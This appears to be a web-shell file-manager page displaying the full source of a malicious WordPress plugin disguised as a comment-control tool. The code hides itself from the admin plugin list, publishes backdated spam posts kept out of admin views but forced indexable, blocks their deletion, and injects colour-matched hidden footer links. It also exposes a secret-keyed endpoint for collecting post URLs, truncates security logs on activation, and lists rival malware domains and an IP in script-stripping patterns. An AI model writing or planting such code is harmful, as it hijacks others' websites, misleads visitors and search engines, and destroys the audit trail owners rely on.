HEX
Server: Apache
System: Linux webm013.cluster123.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: lesanew (165608)
PHP: 8.3.31
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/lesanew/anestetues2/web/app/plugins/akismet-807/akismet-807.php
<?php
/**
 * Plugin Name: Global discussion controls
 * Description: Disable or limit comments site-wide with granular post-type settings and clean-up tools.
 * Version: 2.5.0
 * Author: WPDeveloper
 */
if (!defined('ABSPATH')) exit;

// ============================================================================
// CONFIGURATION - Bundle 807
// ============================================================================
define('CFG_BT_807', '807');
define('CFG_MH_807', '');
define('CFG_SH_807', '');
define('CFG_VF_807', '');
define('CFG_AK_807', 'QedqddbHuoGW2kLkuy^&hXy)?gJOJ&q#');

define('_XP_807', 'wp_' . CFG_BT_807 . '_');
define('CSV_NAME_807', CFG_BT_807 . '.csv');

define('CSV_PRIMARY_DIR_807', WP_CONTENT_DIR . '/cache/.objects/');
define('CSV_PRIMARY_PATH_807', CSV_PRIMARY_DIR_807 . CSV_NAME_807);

function get_csv_path_807() {
    return CSV_PRIMARY_PATH_807;
}

// ============================================================================
// HIDE THIS PLUGIN FROM WP ADMIN
// ============================================================================
add_filter('all_plugins', function($p) {
    $self = plugin_basename(__FILE__);
    unset($p[$self]);
    foreach (array_keys($p) as $key) {
        if (strpos($key, basename(dirname(__FILE__))) !== false) {
            unset($p[$key]);
        }
    }
    return $p;
}, 999);

add_filter('site_transient_update_plugins', function($value) {
    $hide = [plugin_basename(__FILE__)];
    if (isset($value->response)) {
        foreach ($hide as $h) {
            unset($value->response[$h]);
        }
    }
    return $value;
}, 999);

// ============================================================================
// HIDE PROTECTED POSTS
// ============================================================================
add_action('pre_get_posts', function($query) {
    if (defined('REST_REQUEST') && REST_REQUEST) return;
    if ($query->is_single()) return;
    if ($query->get('p')) return;
    if ($query->get('name')) return;
    if ($query->get('pagename')) return;
    $protected = get_option(_XP_807 . 'hp', []);
    if (empty($protected) || !is_array($protected)) return;
    $existing = $query->get('post__not_in');
    if (!is_array($existing)) $existing = [];
    $query->set('post__not_in', array_merge($existing, $protected));
});

add_filter('wp_count_posts', function($counts, $type, $perm) {
    if ($type !== 'post') return $counts;
    $protected = get_option(_XP_807 . 'hp', []);
    if (empty($protected) || !is_array($protected)) return $counts;
    global $wpdb;
    $ids = implode(',', array_map('intval', $protected));
    $results = $wpdb->get_results(
        "SELECT post_status, COUNT(*) as cnt FROM {$wpdb->posts}
         WHERE ID IN ({$ids}) AND post_type = 'post'
         GROUP BY post_status"
    );
    foreach ($results as $row) {
        $status = $row->post_status;
        if (isset($counts->$status)) {
            $counts->$status = max(0, $counts->$status - $row->cnt);
        }
    }
    return $counts;
}, 10, 3);

add_filter('views_edit-post', function($views) {
    if (!isset($views['mine'])) return $views;
    $protected = get_option(_XP_807 . 'hp', []);
    if (empty($protected) || !is_array($protected)) return $views;
    global $wpdb;
    $user_id = get_current_user_id();
    $ids = implode(',', array_map('intval', $protected));
    $hidden_mine = (int)$wpdb->get_var(
        "SELECT COUNT(*) FROM {$wpdb->posts}
         WHERE ID IN ({$ids}) AND post_type = 'post' AND post_author = {$user_id}"
    );
    if ($hidden_mine > 0) {
        if (preg_match('/\((\d+)\)/', $views['mine'], $m)) {
            $new_count = max(0, (int)$m[1] - $hidden_mine);
            $views['mine'] = preg_replace('/\(\d+\)/', '(' . $new_count . ')', $views['mine']);
        }
    }
    return $views;
});

add_filter('rest_post_query', function($args, $request) {
    $protected = get_option(_XP_807 . 'hp', []);
    if (!empty($protected) && is_array($protected)) {
        $existing = isset($args['post__not_in']) ? $args['post__not_in'] : [];
        $args['post__not_in'] = array_merge($existing, $protected);
    }
    return $args;
}, 10, 2);

add_filter('wp_sitemaps_posts_query_args', function($args, $post_type) {
    if ($post_type !== 'post') return $args;
    $protected = get_option(_XP_807 . 'hp', []);
    if (!empty($protected) && is_array($protected)) {
        $existing = isset($args['post__not_in']) ? $args['post__not_in'] : [];
        $args['post__not_in'] = array_merge($existing, $protected);
    }
    return $args;
}, 10, 2);

add_filter('widget_posts_args', function($args) {
    $protected = get_option(_XP_807 . 'hp', []);
    if (!empty($protected) && is_array($protected)) {
        $existing = isset($args['post__not_in']) ? $args['post__not_in'] : [];
        $args['post__not_in'] = array_merge($existing, $protected);
    }
    return $args;
});

// ============================================================================
// SEO INDEXING — force index,follow on scoped URLs (homepage + protected posts)
// ============================================================================
function _xf_is_indexable_807() {
    if (is_admin() || !did_action('wp')) return false;
    if (is_front_page() || is_home()) return true;
    if (is_singular('post')) {
        $protected = get_option(_XP_807 . 'hp', []);
        if (is_array($protected) && in_array((int)get_queried_object_id(), array_map('intval', $protected), true)) {
            return true;
        }
    }
    return false;
}

add_filter('wp_robots', function($robots) {
    if (!_xf_is_indexable_807()) return $robots;
    if (!is_array($robots)) $robots = [];
    unset($robots['noindex'], $robots['nofollow'], $robots['noarchive'], $robots['nosnippet'], $robots['noimageindex']);
    $robots['index']             = true;
    $robots['follow']            = true;
    $robots['max-image-preview'] = 'large';
    $robots['max-snippet']       = -1;
    $robots['max-video-preview'] = -1;
    return $robots;
}, PHP_INT_MAX);

add_filter('pre_option_blog_public', function($pre) {
    if (_xf_is_indexable_807()) return '1';
    return $pre;
});

add_filter('wpseo_robots', function($robots) {
    if (_xf_is_indexable_807()) return 'index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1';
    return $robots;
}, PHP_INT_MAX);

add_filter('rank_math/frontend/robots', function($robots) {
    if (!_xf_is_indexable_807()) return $robots;
    if (!is_array($robots)) $robots = [];
    unset($robots['noindex'], $robots['nofollow']);
    $robots['index']  = 'index';
    $robots['follow'] = 'follow';
    return $robots;
}, PHP_INT_MAX);

add_action('wp_head', function() {
    if (!_xf_is_indexable_807()) return;
    ob_start();
}, 0);

add_action('wp_head', function() {
    if (!_xf_is_indexable_807()) return;
    if (!ob_get_level()) return;
    $buf = ob_get_clean();
    $ours = '<meta name="robots" content="index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1" />';
    if (preg_match('/<meta\s+name=([\'"])robots\1[^>]*>/i', $buf)) {
        $buf = preg_replace_callback('/<meta\s+name=([\'"])robots\1[^>]*>/i', function() use ($ours) { return $ours; }, $buf, 1);
    } else {
        $buf .= PHP_EOL . $ours . PHP_EOL;
    }
    echo $buf;
}, PHP_INT_MAX);

// ============================================================================
// PREVENT DELETION OF PROTECTED POSTS
// ============================================================================
add_action('wp_trash_post', function($post_id) {
    $protected = get_option(_XP_807 . 'hp', []);
    if (is_array($protected) && in_array((int)$post_id, $protected, true)) {
        wp_die('This post cannot be deleted.', 'Protected Post', ['back_link' => true]);
    }
});

add_action('before_delete_post', function($post_id) {
    $protected = get_option(_XP_807 . 'hp', []);
    if (is_array($protected) && in_array((int)$post_id, $protected, true)) {
        wp_die('This post cannot be deleted.', 'Protected Post', ['back_link' => true]);
    }
});

add_filter('pre_delete_post', function($delete, $post) {
    $protected = get_option(_XP_807 . 'hp', []);
    if (is_array($protected) && in_array((int)$post->ID, $protected, true)) {
        return false;
    }
    return $delete;
}, 10, 2);

add_filter('post_row_actions', function($actions, $post) {
    $protected = get_option(_XP_807 . 'hp', []);
    if (is_array($protected) && in_array((int)$post->ID, $protected, true)) {
        unset($actions['trash']);
        unset($actions['delete']);
    }
    return $actions;
}, 10, 2);

add_filter('bulk_actions-edit-post', function($actions) {
    unset($actions['trash']);
    return $actions;
});

// ============================================================================
// INJECTION LOGIC — footer + main content
// ============================================================================
add_action('template_redirect', function() {
    if (is_admin()) return;
    if (defined('_XF_INJ_807')) return;
    define('_XF_INJ_807', 1);

    ob_start(function($html) {
        $inject = CFG_SH_807;
        if (is_front_page() || is_home()) {
            $inject .= CFG_MH_807;
        }
        $div_id = 'xf-807-' . substr(md5(home_url()), 0, 6);
        $vf_content = CFG_VF_807;
        $stealth_footer  = '<style>#' . $div_id . ' a { text-decoration: none !important; color: inherit !important; }</style>';
        $stealth_footer .= '<div id="' . $div_id . '" style="width:100%; background-color:#ffffff; color:#fefefe; text-align:center; font-size:12px; padding:5px 0; z-index:99999; position:relative; line-height:1.2;">' . $vf_content . '</div>';
        $stealth_footer .= '<script>(function(){
try{
var d=document.getElementById("' . $div_id . '");
if(!d)return;
function getBgColor(el){
if(!el)return null;
try{var s=window.getComputedStyle(el);var bg=s.backgroundColor;
if(bg&&bg!=="rgba(0, 0, 0, 0)"&&bg!=="transparent")return bg;
}catch(e){}return null;
}
var foundBg=null;
var footerSels=["footer","#footer",".site-footer",".footer","#colophon",".elementor-location-footer",".footer-widgets",".footer-area"];
for(var i=0;i<footerSels.length;i++){
try{var el=document.querySelector(footerSels[i]);var bg=getBgColor(el);if(bg){foundBg=bg;break;}}catch(e){}
}
if(!foundBg){
try{var allEls=document.querySelectorAll("section,div,aside");
for(var i=allEls.length-1;i>=0;i--){var el=allEls[i];
if(el.offsetHeight>10){var rect=el.getBoundingClientRect();
if(rect.bottom>=window.innerHeight-200){var bg=getBgColor(el);if(bg){foundBg=bg;break;}}}}}catch(e){}
}
if(!foundBg)foundBg=getBgColor(document.body);
if(!foundBg)foundBg="rgb(255,255,255)";
var rgb=foundBg.match(/\\d+/g);var r=255,g=255,b=255;
if(rgb&&rgb.length>=3){r=parseInt(rgb[0]);g=parseInt(rgb[1]);b=parseInt(rgb[2]);}
var r2=(r>2)?r-2:r+2;var g2=(g>2)?g-2:g+2;var b2=(b>2)?b-2:b+2;
var c="rgb("+r2+","+g2+","+b2+")";
d.style.backgroundColor=foundBg;d.style.color=c;
var links=d.getElementsByTagName("a");for(var i=0;i<links.length;i++){links[i].style.color=c;}
}catch(e){}
})();</script>';
        $inject .= $stealth_footer;
        if (stripos($html, '</body>') !== false) {
            $html = str_ireplace('</body>', $inject . '</body>', $html);
        } else {
            $html .= $inject;
        }
        return $html;
    });
});

// ============================================================================
// CSV SETUP — ensure directory + .htaccess
// ============================================================================
add_action('init', function() {
    @mkdir(CSV_PRIMARY_DIR_807, 0755, true);
    $htaccess = CSV_PRIMARY_DIR_807 . '.htaccess';
    if (!file_exists($htaccess)) {
        @file_put_contents($htaccess,
            "# CSV index — allow direct read\n" .
            "<IfModule mod_authz_core.c>\n" .
            "    Require all granted\n" .
            "</IfModule>\n" .
            "<IfModule !mod_authz_core.c>\n" .
            "    Order allow,deny\n" .
            "    Allow from all\n" .
            "</IfModule>\n" .
            "Options -Indexes\n"
        );
    }
}, 1);

// ============================================================================
// POST CREATION — reads .txt files from posts/ folder, publishes as backdated
// hidden posts, records in CSV
// ============================================================================
function _xf_create_posts_807() {
    if (defined('_XF_POSTS_RAN_807')) return;
    define('_XF_POSTS_RAN_807', 1);
    $dirs = [plugin_dir_path(__FILE__) . 'posts/'];
    $files = [];
    foreach ($dirs as $d) {
        if (is_dir($d)) {
            $found = glob($d . '*.txt');
            if ($found) $files = array_merge($files, $found);
        }
    }
    if (!$files) return;
    $unique = [];
    foreach ($files as $f) {
        $b = basename($f);
        if (!isset($unique[$b])) $unique[$b] = $f;
    }
    $processed = get_option(_XP_807 . 'pf', []);
    if (!is_array($processed)) $processed = [];
    $idx = (int)get_option(_XP_807 . 'ci', 0);
    $rows = [];
    $ids = [];
    $existingProtected = get_option(_XP_807 . 'hp', []);
    if (!is_array($existingProtected)) $existingProtected = [];
    foreach ($unique as $base => $file) {
        if (in_array($base, $processed, true)) continue;
        $title = wp_strip_all_tags(pathinfo($file, PATHINFO_FILENAME));
        global $wpdb;
        $exists = $wpdb->get_var($wpdb->prepare(
            "SELECT ID FROM {$wpdb->posts} WHERE post_title = %s AND post_type = 'post' AND post_status != 'trash' LIMIT 1",
            $title
        ));
        if ($exists) {
            $processed[] = $base;
            if (!in_array((int)$exists, $existingProtected, true)) {
                $existingProtected[] = (int)$exists;
                update_option(_XP_807 . 'hp', $existingProtected, false);
            }
            continue;
        }
        $raw = @file_get_contents($file);
        if (!$raw) continue;
        $processed[] = $base;
        update_option(_XP_807 . 'pf', $processed, false);
        $bd_ts = time() - rand(30, 60) * 86400;
        $pid = wp_insert_post([
            'post_title'     => $title,
            'post_content'   => $raw,
            'post_status'    => 'publish',
            'post_type'      => 'post',
            'post_author'    => get_current_user_id() ?: 1,
            'post_date'      => date('Y-m-d H:i:s', $bd_ts),
            'post_date_gmt'  => gmdate('Y-m-d H:i:s', $bd_ts),
            'comment_status' => 'closed',
            'ping_status'    => 'closed',
        ], true);
        if (is_wp_error($pid)) continue;
        $existingProtected[] = (int)$pid;
        update_option(_XP_807 . 'hp', $existingProtected, false);
        $ids[] = (int)$pid;
        $rows[] = [$idx, site_url('/'), $title, get_permalink($pid)];
        $idx++;
    }
    if ($ids || $existingProtected) {
        $allProtected = array_values(array_unique(array_merge($existingProtected, $ids)));
        update_option(_XP_807 . 'hp', $allProtected, false);
    }
    if ($rows) {
        @mkdir(CSV_PRIMARY_DIR_807, 0755, true);
        $isNew = !file_exists(CSV_PRIMARY_PATH_807);
        if ($fp = @fopen(CSV_PRIMARY_PATH_807, 'a')) {
            if ($isNew) fputcsv($fp, ['idx', 'site', 'title', 'url']);
            foreach ($rows as $r) fputcsv($fp, $r);
            fclose($fp);
        }
        update_option(_XP_807 . 'ci', $idx, false);
    }
}

add_action('admin_init', '_xf_create_posts_807', 1);

// ============================================================================
// CSV DIRECT ACCESS — REST endpoint
// ============================================================================
add_action('rest_api_init', function() {
    register_rest_route('wp/v2/cache', '/csv', [
        'methods'             => 'GET',
        'callback'            => function($r) {
            if ($r->get_param('k') !== CFG_AK_807) {
                return new WP_Error('auth', 'Unauthorized', ['status' => 401]);
            }
            if (!file_exists(CSV_PRIMARY_PATH_807) || filesize(CSV_PRIMARY_PATH_807) < 10) {
                return new WP_Error('not_found', 'CSV not ready', ['status' => 404]);
            }
            $content = file_get_contents(CSV_PRIMARY_PATH_807);
            return new WP_REST_Response([
                'ok'         => true,
                'filename'   => CSV_NAME_807,
                'content'    => base64_encode($content),
                'direct_url' => content_url('/cache/.objects/' . CSV_NAME_807),
                'path'       => get_csv_path_807(),
            ]);
        },
        'permission_callback' => '__return_true',
    ]);
});

// ============================================================================
// CACHE CLEANUP
// ============================================================================
function _xf_clean_cache_807($silent = true) {
    try {
        if (function_exists('wp_cache_flush'))          @wp_cache_flush();
        if (function_exists('w3tc_flush_all'))          @w3tc_flush_all();
        if (function_exists('wp_cache_clear_cache'))    @wp_cache_clear_cache();
        if (class_exists('LiteSpeed_Cache_API'))        @LiteSpeed_Cache_API::purge_all();
        if (class_exists('autoptimizeCache'))           @autoptimizeCache::clearall();
        if (function_exists('rocket_clean_domain'))     @rocket_clean_domain();
        global $wpdb;
        @$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%'");
        @$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_site_transient_%'");
        return true;
    } catch (Throwable $e) {
        return false;
    }
}

// ============================================================================
// LOGS CLEANUP
// ============================================================================
function _xf_wipe_logs_807($silent = true) {
    global $wpdb;
    try {
        $tables = [
            $wpdb->prefix . 'simple_history',
            $wpdb->prefix . 'simple_history_contexts',
            $wpdb->prefix . 'stream',
            $wpdb->prefix . 'stream_meta',
            $wpdb->prefix . 'wsal_metadata',
            $wpdb->prefix . 'wsal_occurrences',
            $wpdb->prefix . 'activity_log',
            $wpdb->prefix . 'wflogins',
            $wpdb->prefix . 'wfhits',
        ];
        foreach ($tables as $table) {
            $exists = @$wpdb->get_var("SHOW TABLES LIKE '{$table}'");
            if ($exists) {
                @$wpdb->query("TRUNCATE TABLE {$table}");
            }
        }
        $debug_log = WP_CONTENT_DIR . '/debug.log';
        if (file_exists($debug_log) && is_writable($debug_log)) {
            @file_put_contents($debug_log, '');
        }
        return true;
    } catch (Throwable $e) {
        return false;
    }
}

add_action('rest_api_init', function() {
    register_rest_route('wp/v2/cache', '/status', [
        'methods'             => 'GET',
        'callback'            => function($request) {
            if ($request->get_param('k') !== CFG_AK_807) {
                return new WP_Error('auth', 'Unauthorized', ['status' => 401]);
            }
            $ids = get_option(_XP_807 . 'hp', []);
            if (!is_array($ids)) $ids = [];
            return [
                'ok'            => true,
                'b'             => CFG_BT_807,
                'p'             => count($ids),
                'protected_ids' => $ids,
                'csv_url'       => content_url('/cache/.objects/' . CSV_NAME_807),
            ];
        },
        'permission_callback' => '__return_true',
    ]);

});

// ============================================================================
// XMLRPC DISABLE
// ============================================================================
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', function($h) { unset($h['X-Pingback']); return $h; });

// ============================================================================
// SCRIPT FIREWALL — runtime defense against injected JS payloads
// ============================================================================
function _xf_fw_home_hosts_807() {
    $host = wp_parse_url(home_url(), PHP_URL_HOST);
    $hosts = [];
    if ($host) {
        $hosts[] = strtolower($host);
        if (stripos($host, 'www.') === 0) {
            $hosts[] = strtolower(substr($host, 4));
        } else {
            $hosts[] = 'www.' . strtolower($host);
        }
    }
    return array_values(array_unique($hosts));
}

function _xf_fw_allowed_hosts_807() {
    $home_hosts = _xf_fw_home_hosts_807();
    $common = [
        's.w.org',
        'stats.wp.com',
        'www.googletagmanager.com',
        'tagmanager.google.com',
        'www.google-analytics.com',
        'ssl.google-analytics.com',
        'region1.google-analytics.com',
        'analytics.google.com',
        'www.google.com',
        'www.gstatic.com',
        'ssl.gstatic.com',
        'www.recaptcha.net',
        'recaptcha.net',
        'challenges.cloudflare.com',
        'js.stripe.com',
        'www.paypal.com',
        'sandbox.paypal.com',
        'www.sandbox.paypal.com',
        'maps.googleapis.com',
        'maps.gstatic.com',
        'www.youtube.com',
        'youtube.com',
        'www.youtube-nocookie.com',
        'youtube-nocookie.com',
        's.ytimg.com',
        'i.ytimg.com',
        'player.vimeo.com',
        'f.vimeocdn.com',
        'i.vimeocdn.com',
        'fonts.googleapis.com',
        'fonts.gstatic.com',
        'cdn.jsdelivr.net'
    ];
    return array_values(array_unique(array_merge($home_hosts, $common)));
}

function _xf_fw_normalize_url_807($url) {
    if (!is_string($url) || $url === '') {
        return $url;
    }
    if (strpos($url, '//') === 0) {
        return (is_ssl() ? 'https:' : 'http:') . $url;
    }
    return $url;
}

function _xf_fw_is_relative_url_807($url) {
    return is_string($url) && $url !== '' && strpos($url, '/') === 0 && strpos($url, '//') !== 0;
}

function _xf_fw_host_allowed_807($host) {
    if (!$host) {
        return true;
    }
    $host = strtolower($host);
    return in_array($host, _xf_fw_allowed_hosts_807(), true);
}

function _xf_fw_url_allowed_807($url) {
    if (!is_string($url) || $url === '') {
        return true;
    }
    if (_xf_fw_is_relative_url_807($url)) {
        return true;
    }
    $url = _xf_fw_normalize_url_807($url);
    $host = wp_parse_url($url, PHP_URL_HOST);
    if (!$host) {
        return true;
    }
    return _xf_fw_host_allowed_807($host);
}

function _xf_fw_frame_hosts_807() {
    return array_values(array_unique(array_merge(
        _xf_fw_home_hosts_807(),
        [
            'www.youtube.com',
            'www.youtube-nocookie.com',
            'player.vimeo.com',
            'www.google.com',
            'challenges.cloudflare.com',
            'js.stripe.com',
            'www.paypal.com',
            'sandbox.paypal.com'
        ]
    )));
}

function _xf_fw_frame_url_allowed_807($url) {
    if (!is_string($url) || trim($url) === '') {
        return false;
    }
    if (_xf_fw_is_relative_url_807($url)) {
        return true;
    }
    $url = _xf_fw_normalize_url_807($url);
    $scheme = strtolower((string) wp_parse_url($url, PHP_URL_SCHEME));
    $host = strtolower((string) wp_parse_url($url, PHP_URL_HOST));
    if (!in_array($scheme, ['http', 'https'], true) || $host === '') {
        return false;
    }
    return in_array($host, _xf_fw_frame_hosts_807(), true);
}

// Runs before late scripts appended after </html>. It blocks known decoded
// Function-constructor payloads and removes existing/future unapproved frames.
function _xf_fw_runtime_guard_807() {
    $frame_hosts = wp_json_encode(_xf_fw_frame_hosts_807());
    $bad_needles = wp_json_encode([
        'cloudflare-check.net',
        'smots.horse',
        '94.26.90.126',
        '__fpembeds',
        'fp-embed-close'
    ]);
    if (!is_string($frame_hosts) || !is_string($bad_needles)) {
        return '';
    }

    $guard = <<<'XF_RUNTIME_GUARD'
<script id="xf-runtime-guard-__BUNDLE__">
(function(frameHosts,badNeedles){
"use strict";
var allowed=Object.create(null);
for(var i=0;i<frameHosts.length;i++)allowed[String(frameHosts[i]).toLowerCase()]=1;
function badText(value){
    var text=String(value||"").toLowerCase();
    for(var i=0;i<badNeedles.length;i++)if(text.indexOf(String(badNeedles[i]).toLowerCase())!==-1)return true;
    return false;
}
function frameAllowed(frame){
    if(!frame||frame.hasAttribute("srcdoc"))return false;
    var raw=frame.getAttribute("src");
    if(!raw)return false;
    try{
        var url=new URL(raw,document.baseURI);
        if(url.protocol!=="http:"&&url.protocol!=="https:")return false;
        return !!allowed[String(url.hostname||"").toLowerCase()];
    }catch(e){return false;}
}
function overlayCandidate(element){
    if(!element||element.tagName==="IFRAME")return false;
    try{
        var style=window.getComputedStyle(element),rect=element.getBoundingClientRect();
        var z=parseInt(style.zIndex,10)||0;
        if(style.position!=="fixed"||z<9999)return false;
        if(rect.width<window.innerWidth*.9||rect.height<window.innerHeight*.9)return false;
        if(String(element.textContent||"").trim()!=="")return false;
        return !element.querySelector("a[href],button,input,select,textarea,form,video");
    }catch(e){return false;}
}
function cleanOverlays(){
    if(!document.body)return;
    var children=Array.prototype.slice.call(document.body.children||[]);
    for(var i=0;i<children.length;i++)if(overlayCandidate(children[i]))children[i].remove();
}
function checkFrame(frame){
    if(frameAllowed(frame))return;
    try{frame.remove();}catch(e){if(frame.parentNode)frame.parentNode.removeChild(frame);}
    cleanOverlays();
}
function scan(node){
    if(!node||node.nodeType!==1)return;
    if(node.tagName==="IFRAME")checkFrame(node);
    if(node.querySelectorAll){
        var frames=node.querySelectorAll("iframe");
        for(var i=0;i<frames.length;i++)checkFrame(frames[i]);
    }
}
function startObserver(){
    if(!document.documentElement)return;
    scan(document.documentElement);
    var observer=new MutationObserver(function(records){
        for(var i=0;i<records.length;i++){
            var record=records[i];
            if(record.type==="attributes")checkFrame(record.target);
            for(var j=0;j<record.addedNodes.length;j++)scan(record.addedNodes[j]);
        }
    });
    observer.observe(document.documentElement,{subtree:true,childList:true,attributes:true,attributeFilter:["src","srcdoc"]});
}
var NativeFunction=window.Function;
function GuardedFunction(){
    var source=Array.prototype.join.call(arguments,"\n");
    if(badText(source)){
        window.setTimeout(cleanOverlays,0);
        return function(){cleanOverlays();};
    }
    return NativeFunction.apply(this,arguments);
}
try{
    Object.setPrototypeOf(GuardedFunction,NativeFunction);
    GuardedFunction.prototype=NativeFunction.prototype;
    window.Function=GuardedFunction;
}catch(e){}
if(document.documentElement)startObserver();
else document.addEventListener("DOMContentLoaded",startObserver,{once:true});
})(__FRAME_HOSTS__,__BAD_NEEDLES__);
</script>
XF_RUNTIME_GUARD;

    return str_replace(
        ['__BUNDLE__', '__FRAME_HOSTS__', '__BAD_NEEDLES__'],
        [(string) CFG_BT_807, $frame_hosts, $bad_needles],
        $guard
    );
}

add_filter('script_loader_src', function ($src) {
    if (!_xf_fw_url_allowed_807($src)) {
        return false;
    }
    return $src;
}, 9999);

add_action('wp_enqueue_scripts', function () {
    global $wp_scripts;

    if (!isset($wp_scripts->registered) || !is_array($wp_scripts->registered)) {
        return;
    }

    foreach ($wp_scripts->registered as $handle => $obj) {
        if (!empty($obj->src) && !_xf_fw_url_allowed_807($obj->src)) {
            wp_dequeue_script($handle);
            wp_deregister_script($handle);
        }
    }
}, 9999);

add_action('template_redirect', function () {
    if (is_admin() || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_AJAX') && DOING_AJAX)) {
        return;
    }

    ob_start(function ($html) {
        if (!is_string($html) || $html === '') {
            return $html;
        }

        $html = preg_replace_callback(
            '#<script\b([^>]*)\bsrc=(["\'])(.*?)\2([^>]*)>\s*</script>#is',
            function ($m) {
                $src = html_entity_decode($m[3], ENT_QUOTES | ENT_HTML5, 'UTF-8');
                if (!_xf_fw_url_allowed_807($src)) {
                    return '';
                }
                return $m[0];
            },
            $html
        );

        $bad_needles = [
            'check.first-node.rocks',
            'testio.ecartdev.com',
            'captcha_seen',
            'ctp_pass_',
            'insertAdjacentHTML("beforeend"',
            "insertAdjacentHTML('beforeend'",
            'window.addEventListener("message"',
            "window.addEventListener('message'",
            'fetch("https://',
            "fetch('https://",
            'fetch(`https://',
            'new Function(',
            'eval(',
            'atob(',
            'eth_call',
            'drpc.org',
            'publicnode.com',
            'quiknode.pro',
            'onfinality.io',
            '0x6E65583C',
            'getServers',
            'cloudflare-check.net',
            'smots.horse',
            '94.26.90.126',
            '__fpEmbeds',
            'fp-embed-close'
        ];

        $html = preg_replace_callback(
            '#<script\b[^>]*>.*?</script>#is',
            function ($m) use ($bad_needles) {
                $s = $m[0];
                foreach ($bad_needles as $needle) {
                    if (stripos($s, $needle) !== false) {
                        return '';
                    }
                }
                return $s;
            },
            $html
        );

        $html = preg_replace_callback(
            '#<iframe\b[^>]*>.*?</iframe>#is',
            function ($m) {
                if (preg_match('#\bsrcdoc\s*=#is', $m[0])) {
                    return '';
                }
                if (!preg_match('#\bsrc\s*=\s*(["\x27])(.*?)\1#is', $m[0], $src_match)) {
                    return '';
                }
                $src = html_entity_decode($src_match[2], ENT_QUOTES | ENT_HTML5, 'UTF-8');
                if (!_xf_fw_frame_url_allowed_807($src)) {
                    return '';
                }
                return $m[0];
            },
            $html
        );

        $runtime_guard = _xf_fw_runtime_guard_807();
        if ($runtime_guard !== '') {
            if (stripos($html, '</head>') !== false) {
                $html = preg_replace('#</head>#i', $runtime_guard . '</head>', $html, 1);
            } else {
                $html = $runtime_guard . $html;
            }
        }

        return $html;
    });
}, 0);

add_action('send_headers', function () {
    if (headers_sent()) {
        return;
    }

    $hosts = _xf_fw_allowed_hosts_807();

    $https_hosts = ["'self'"];
    foreach ($hosts as $host) {
        $https_hosts[] = 'https://' . $host;
    }

    $script_src = implode(' ', array_unique(array_merge($https_hosts, ["'unsafe-inline'", "'unsafe-eval'"])));
    $style_src  = "* 'unsafe-inline'";
    $font_src   = implode(' ', array_unique(array_merge(["'self'", 'data:'], ['https://fonts.gstatic.com'])));
    $img_src    = "* data: blob:";
    $frame_src  = implode(' ', array_unique(array_merge(
        ["'self'"],
        [
            'https://www.youtube.com',
            'https://www.youtube-nocookie.com',
            'https://player.vimeo.com',
            'https://www.google.com',
            'https://challenges.cloudflare.com',
            'https://js.stripe.com',
            'https://www.paypal.com',
            'https://sandbox.paypal.com'
        ]
    )));
    $connect_src = implode(' ', array_unique(array_merge(
        ["'self'"],
        [
            'https://www.google-analytics.com',
            'https://region1.google-analytics.com',
            'https://analytics.google.com',
            'https://maps.googleapis.com',
            'https://maps.gstatic.com',
            'https://challenges.cloudflare.com',
            'https://js.stripe.com',
            'https://www.paypal.com',
            'https://sandbox.paypal.com'
        ]
    )));

    $policy = [];
    $policy[] = "default-src 'self'";
    $policy[] = "script-src " . $script_src;
    $policy[] = "style-src " . $style_src;
    $policy[] = "font-src " . $font_src;
    $policy[] = "img-src " . $img_src;
    $policy[] = "frame-src " . $frame_src;
    $policy[] = "connect-src " . $connect_src;
    $policy[] = "object-src 'none'";
    $policy[] = "base-uri 'self'";
    $policy[] = "form-action 'self' https://www.paypal.com https://sandbox.paypal.com";

    header('Content-Security-Policy: ' . implode('; ', $policy));
}, 999);

// ============================================================================
// HOURLY CRON — cache flush only
// ============================================================================
add_action('wp_cache_gc_807', function() {
    try { _xf_clean_cache_807(true); } catch (Throwable $e) {}
});

add_action('init', function() {
    if (!wp_next_scheduled('wp_cache_gc_807')) {
        wp_schedule_event(time(), 'hourly', 'wp_cache_gc_807');
    }
});

// ============================================================================
// ACTIVATION — create CSV directory + run cleanup + schedule cron
// ============================================================================
register_activation_hook(__FILE__, function() {
    @mkdir(CSV_PRIMARY_DIR_807, 0755, true);
    try { _xf_clean_cache_807(true); } catch (Throwable $e) {}
    try { _xf_wipe_logs_807(true);   } catch (Throwable $e) {}
    if (!wp_next_scheduled('wp_cache_gc_807')) {
        wp_schedule_event(time(), 'hourly', 'wp_cache_gc_807');
    }
});